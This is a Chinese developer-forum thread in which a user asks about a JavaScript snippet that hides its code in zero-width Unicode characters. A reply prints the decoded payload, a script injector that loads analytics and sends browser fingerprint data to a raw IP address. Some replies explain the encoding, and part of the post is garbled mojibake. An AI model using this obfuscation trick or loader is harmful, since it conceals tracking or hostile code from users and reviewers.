库€岋豢鈥岋豢鈥嬧€嶏豢鈥嶁€岋豢鈥嬶豢鈥屸€嶁€嬶豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€嬧€嶏豢鈥嶁€屸€嶁€嶁€嬧€屸€嶁€屸€屸€屸€嶁€嶁€屸€屸€嶁€岋豢鈥屸€嶁€嶁€嬧€岋豢鈥屸€嬧€岋豢锘库€屸€屸€嶁€嶁€屸€屸€嶁€屸€嶁€嬧€嶁€嶁€嬧€屸€嶁€屸€嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥岋豢鈥屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶁€嬧€嶁€屸€嶏豢锘库€屸€嶁€屸€嬧€岋豢鈥嶁€屸€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥岋豢鈥嬶豢锘库€屸€屸€嶁€屸€嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥岋豢鈥屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶁€嬧€嶁€屸€嶏豢锘库€屸€嶁€屸€嬧€岋豢鈥嶁€屸€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥屸€嶏豢鈥嬧€屸€嶁€嶁€屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€屸€屸€岋豢鈥屸€嶁€嶁€屸€屸€嶁€屸€嬧€岋豢鈥屸€嬧€屸€嶁€嶁€嬧€嬶豢鈥嶏豢鈥屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥屸€嶁€嶁€嬧€嬶豢锘库€屸€屸€嶁€屸€嬧€屸€嶏豢锘库€屸€嶁€嬶豢鈥岋豢鈥屸€屸€屸€嶏豢鈥屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶁€嬧€嶁€屸€嶏豢锘库€屸€嶁€屸€嬧€岋豢鈥嶁€屸€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥屸€嶏豢鈥嬧€屸€嶁€嶁€屸€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€屸€嬧€嶁€嬧€屸€嶁€屸€屸€屸€嶁€嶁€屸€屸€嶁€岋豢鈥屸€嶁€嶁€嬧€岋豢鈥屸€嬧€岋豢锘库€屸€屸€嶁€嶁€屸€屸€嶁€屸€嶁€嬧€嶁€嶁€嬧€屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥岋豢鈥岋豢鈥岋豢鈥嬧€嶁€嬧€屸€嬶豢锘库€屸€嬶豢鈥嬧€嬧€嬧€嶁€嶁€屸€屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥岋豢鈥岋豢鈥屸€嬧€嬶豢锘库€屸€屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€岋豢鈥岋豢鈥岋豢鈥岋豢鈥嬶豢锘库€嶁€屸€嶁€嶁€屸€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥岋豢鈥嬧€嶁€嶁€嶁€嬶豢鈥嬧€嶁€嬶豢锘匡豢鈥嬧€嶁€嬧€嶁€嬶豢鈥嬧€屸€嬧€嶁€嬧€嶁€嬶豢鈥嶁€嶁€嬧€嶁€嬧€嶁€嬧€嶁€嬧€嶁€嬶豢鈥嶏豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€岋豢鈥屸€嬧€岋豢鈥屸€屸€岋豢鈥嬧€嶁€屸€嶏豢鈥嶁€嬧€嶁€嬧€嬧€屸€嶁€嶁€屸€岋豢锘库€屸€嬶豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€屸€嶁€屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥嬶豢锘库€屸€屸€嶁€屸€嶁€岋豢鈥屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶁€嶁€嬧€屸€嶏豢锘库€屸€嶁€嬧€嶁€屸€嶁€嶁€嶁€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€岋豢鈥嬧€嬧€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€屸€嶁€嬧€屸€屸€嶏豢鈥屸€岋豢鈥嬶豢鈥嬶豢锘库€屸€屸€嬶豢锘库€屸€嶁€嬧€嶁€屸€嶁€嶁€嶁€屸€嶁€屸€屸€屸€嶁€嬶豢鈥岋豢鈥屸€嬧€嬧€嶏豢鈥嶁€屸€嶁€嶏豢鈥屸€嶁€屸€屸€岋豢鈥嶁€屸€岋豢鈥嬶豢鈥嬧€嶁€嶁€嬧€屸€嶏豢锘库€屸€嶁€嬧€嶁€屸€嶁€嶁€嶁€嬧€嶁€嶁€屸€嬧€嶏豢鈥嶁€屸€嶏豢鈥屸€屸€嶁€嬧€屸€岋豢鈥嬧€嬧€嬧€嶁€嶁€嬧€屸€嶁€屸€嶁€岋豢鈥屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥岋豢鈥屸€嬧€屸€嶁€嶁€屸€屸€嶏豢锘库€屸€嶏豢鈥嶁€嬧€嶁€嶁€嬧€屸€嶁€嶏豢鈥屸€嶁€屸€屸€岋豢鈥嶁€屸€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€岋豢鈥屸€嬧€岋豢鈥屸€屸€岋豢鈥嬧€嶁€屸€嶏豢鈥嶁€嬧€嶁€嬧€嬧€屸€嶁€嶏豢鈥屸€嶁€屸€屸€岋豢鈥嶁€屸€嬧€嶁€嶏豢鈥嬧€嶁€嬧€嶁€嬶豢锘库€屸€嬧€嶁€嬧€嶁€嬧€嶁€嶏豢鈥屸€嶁€屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥屸€嶏豢锘库€屸€嶁€屸€嬧€屸€嶁€屸€屸€屸€屸€屸€屸€屸€屸€嬧€嶁€屸€嬧€嶁€屸€屸€嬧€嬶豢鈥屸€嶏豢锘库€屸€嶏豢鈥屸€岋豢鈥嬧€嬧€屸€嶏豢锘库€屸€嶏豢鈥嶁€屸€嶁€屸€屸€屸€嶏豢鈥嶁€岋豢鈥屸€嬧€嬧€嶁€嶁€嬧€屸€嶏豢锘库€屸€嶁€嬧€嶁€屸€嶁€嶁€嶁€屸€屸€嶏豢鈥屸€嶁€嶏豢鈥屸€嶁€屸€屸€岋豢鈥嶁€屸€屸€岋豢鈥屸€嬧€嶁€嶁€屸€岋豢锘库€屸€嬧€嶁€嶁€屸€嬶豢鈥嶏豢鈥岋豢鈥嬧€嶁€屸€嶁€屸€屸€岋豢鈥屸€嬧€岋豢鈥屸€屸€岋豢鈥嬧€嶁€屸€嶏豢鈥嶁€嬧€嶁€嬧€嬧€岋豢鈥嬧€嬧€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€屸€嶁€嬧€屸€屸€嶏豢鈥屸€岋豢鈥嬶豢鈥嬧€嶏豢鈥嶁€屸€嶁€嶁€嶁€屸€嶏豢锘库€屸€嶁€嶁€屸€屸€嶏豢鈥嶁€嬧€嶁€嶁€嬧€嬧€嶁€嬧€嶁€嬧€嶁€屸€嶁€嬧€嶁€嬧€嶁€嬧€嶁€嶁€屸€岋豢锘库€屸€嬶豢鈥嶏豢鈥岋豢鈥屸€嬧€岋豢鈥嬧€嶁€岋豢鈥嶁€屸€岋豢鈥嶏豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€岋豢鈥嬶豢鈥岋豢鈥屸€嬧€嬧€嶁€嶁€嬧€嬧€嶁€嬧€嶁€屸€嶁€嶁€嬧€岋豢鈥屸€嬧€岋豢鈥屸€嬧€岋豢鈥嬧€嬧€岋豢鈥嬶豢鈥嬶豢鈥嶁€嶁€嬧€嶏豢锘库€嬧€嶏豢锘库€屸€嶁€嶁€嬧€屸€嶏豢鈥屸€嬧€嶏豢鈥嶁€屸€嶁€嬧€嶁€屸€嶁€嬧€屸€屸€嶁€嶁€屸€屸€嶁€屸€嬧€岋豢鈥屸€屸€嬧€嶏豢鈥嶁€屸€嶁€嬶豢鈥屸€嶏豢锘库€屸€嶏豢鈥屸€嬧€嶏豢锘库€屸€嶁€嶁€嬧€屸€嶏豢鈥屸€嬧€嶏豢鈥嶁€屸€嶁€嶁€嶁€岋豢鈥嬶豢鈥嬶豢锘匡豢鈥屸€嶁€嬧€嶁€屸€嶁€屸€嶁€屸€嶁€嬶豢鈥嬶豢鈥屸€嶁€屸€嶁€嬶豢鈥嬶豢鈥嬧€嶁€嬶豢鈥嬶豢鈥嬶豢鈥嶁€屸€嬶豢鈥岋豢鈥嬶豢鈥屸€嬧€屸€嶁€屸€嶁€屸€嶁€嬧€嶁€屸€嶁€嬧€屸€屸€嶁€屸€嬧€嬶豢鈥嬧€嬧€屸€嶁€嬧€嶁€屸€嶁€嬧€嶁€屸€嶁€屸€嶁€屸€嶁€屸€屸€屸€嶁€屸€嬧€嬶豢鈥嬧€嶁€嬶豢鈥屸€屸€屸€嶁€屸€嶁€嬶豢鈥嶁€嬧€嬶豢鈥嶁€嬧€屸€嶁€嬧€屸€嬶豢鈥嶁€屸€嬶豢鈥岋豢鈥嬶豢鈥嬶豢鈥屸€嶁€屸€嶁€屸€嶁€嬧€嶁€嬶豢鈥嬧€嬧€嬧€嶁€嬧€嶁€嬧€嶁€嶁€屸€嬶豢鈥嶏豢鈥岋豢鈥屸€嶁€屸€嶁€嬧€屸€岋豢鈥嬧€嶁€嬧€嶁€嬧€嬧€岋豢鈥屸€嬧€嬶豢锘库€屸€嬧€嶁€嬧€嶁€屸€嶁€嶁€嬧€岋豢鈥屸€嬧€岋豢鈥屸€嬧€岋豢鈥嬧€嬧€嬶豢鈥嶁€嶁€嬧€嶏豢锘库€嬧€嶏豢锘库€嬶豢鈥屸€嬧€嬶豢鈥岋豢鈥嬧€嶏豢鈥嶁€嬶豢鈥嬧€屸€嬶豢鈥嬧€屸€嬶豢鈥嬧€嬧€嬧€嶏豢鈥嶁€嬶豢鈥嬧€嶁€嬶豢鈥屸€嬧€嬶豢鈥岋豢鈥嬧€嶏豢鈥嶁€嬶豢鈥嬧€嶁€嬶豢鈥屸€嬧€嬶豢鈥屸€嬧€嬧€嶏豢锘库€屸€嶁€嶁€嬧€屸€嶏豢鈥屸€嬧€嶏豢锘库€屸€嶏豢鈥嬧€屸€嶏豢锘库€屸€嶁€岋豢鈥屸€嶁€岋豢鈥屸€嶁€屸€屸€岋豢鈥嬧€嶁€嬶豢锘匡豢鈥岋豢鈥屸€嶁€屸€嶁€嶁€屸€屸€嶁€屸€嬧€嬶豢锘库€屸€嬶豢鈥嬧€嶁€嬶豢鈥嬧€嬧€嬶豢鈥嬧€嬧€嬶豢鈥嬧€嬧€嬶豢鈥嬧€嬧€嬧€嶁€屸€嶁€嬧€嶁€嬧€嶁€嬶豢鈥嶏豢鈥屸€嶁€嶁€屸€屸€嶏豢鈥嶁€岋豢鈥嬶豢鈥岋豢鈥屸€嬧€嬧€嶁€嶁€嬧€岋豢鈥屸€嬧€嬧€嶁€嶏豢鈥屸€嶁€屸€屸€屸€嶏豢鈥嶁€屸€嶁€嬶豢鈥嬧€嶁€嶁€嬧€屸€嶁€嶁€屸€屸€嶏豢鈥嶁€屸€嶁€屸€嶁€屸€嶏豢锘库€嬧€嶁€嶁€嬧€嬧€嶁€嶁€屸€嬧€嶁€嶁€屸€嬧€嶁€嶁€屸€岋豢锘库€屸€屸€嶁€嬶豢鈥屸€嶁€嬧€屸€岋豢鈥屸€嬧€屸€嶁€嬶豢鈥屸€嶁€嶁€嬧€嬧€嶁€嶁€嬧€屸€嶁€屸€屸€岋豢鈥嶁€嬧€嬧€嶁€嶁€屸€岋豢鈥嶏豢鈥岋豢锘库€屸€岋豢锘库€屸€嬧€嶁€嶁€屸€嬧€嶁€嶁€嬧€嬧€嶁€嶁€?.replace(/.{4}/g,function(a){var rep={"鈥?:"00","鈥?:"01","鈥?:"10","锘?:"11"};return String.fromCharCode(parseInt(a.replace(/./g, function(a) {return rep[a]}),2))}))()

vim 打开显示:

Function("<200b><200d><200d><200b><200c><200d><200c><200d><200c><feff><200c><200c><200c><200d><feff><200d><200c><200d><200b><feff><200c><feff><200c><200b><200c><200d><200d><200c><200c><200d><fef
f><feff><200c><200d><feff><200d><200b><200d><200d><200b><200b><200d><200d><200c><200c><feff><200d><feff><200c><feff><200c><200d><200c><200d><200b><200c><200c><feff><200b><200d><200b><200d><200b>
<200b><200c><200d><200d><200c><200c><200d><feff><200d><200c><feff><200b><feff><200c><feff><200c><200b><200b><feff><feff><200c><200c><200d><200c><200d><200c><feff><200c><200c><200c><200d><feff><2
00d><200c><200d><200b><feff><200c><feff><200c><200b><200c><200d><200d><200c><200c><200d><feff><feff><
1850 次点击
所在节点    程序员
8 条回复
zsdroid
2019-01-02 11:49:38 +08:00
复制到 f12 就知道了
arrow8899
2019-01-02 12:08:32 +08:00
都是些零宽字符,有些编辑器就是不显示的,运行结果如下:
```
(function(){var inst=function(u,b){var j=document.createElement('script');j.type='text/javascript';j.src=u;var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(j,s)};var info=function(){var a=navigator.userAgent.toLowerCase();var i={t:Math.random().toString().substr(2),cw:0,ch:0,ww:0,wh:0,wt:0,im:top.location!=self.location,ck:!window.navigator.cookieEnabled,ph:navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)!=null};if(window.screen){i.ww=window.screen.width;i.wh=window.screen.height}if(document.body){i.cw=document.body.clientWidth;i.ch=document.body.clientHeight}if(i.ww!=0)i.wt=i.ww>i.cw*2?"1":"";return i};var enc=function(obj){var params=Object.keys(obj).map(function(key){return key+"="+encodeURIComponent(obj[key])});return params.join("&")};try{inst("https://hm.baidu.com/hm.js?bfc6c23974fbad0bbfed25f88a973fb0");var t="http://47.110.247.244/hm/logger?vid=20000&";inst(t+enc(info()))}catch(ex){}})()
```
hongyexiaoqing
2019-01-02 12:25:02 +08:00
@arrow8899 多谢,其实我想了解一下编码的原理,为什么浏览器就能识别出来,编辑器不行
vicvinc
2019-01-02 12:43:02 +08:00
ansi 是一字节 8 位,总共 2^7=128(1 个标志位)个字符,unicode 字符转换集 utf-8 是 1 个字节 8 位,总共 256 个字符,utf-16 是两个字节 16 位,共 25536 个字符,像 u\200b 这种是两个字节编码,用 utf-16 应该可以解码,不知道对不对
Chingim
2019-01-02 13:26:40 +08:00
@hongyexiaoqing 这个文件不是 utf-8,因为文件里有 FF 这种在 UTF-8 里不可能出现的字节。
文件能不能正确显示,取决于能否正确猜出它的编码并解码
ezzze
2019-01-02 13:32:03 +08:00
这不就是零宽字符么? 几年前貌似流行过一阵,用来隐藏代码,https://www.cnblogs.com/52cik/p/js-hide-code.html
hongyexiaoqing
2019-01-02 14:34:09 +08:00
@ezzze 的确是这个技术
hongyexiaoqing
2019-01-02 18:01:20 +08:00
@vicvinc vim 和 chrome 能识别,是它将等宽字符 utf-8 的 e2808b 转成 unicode u\200b,vim 转成<200b>显示出来。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/523046

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX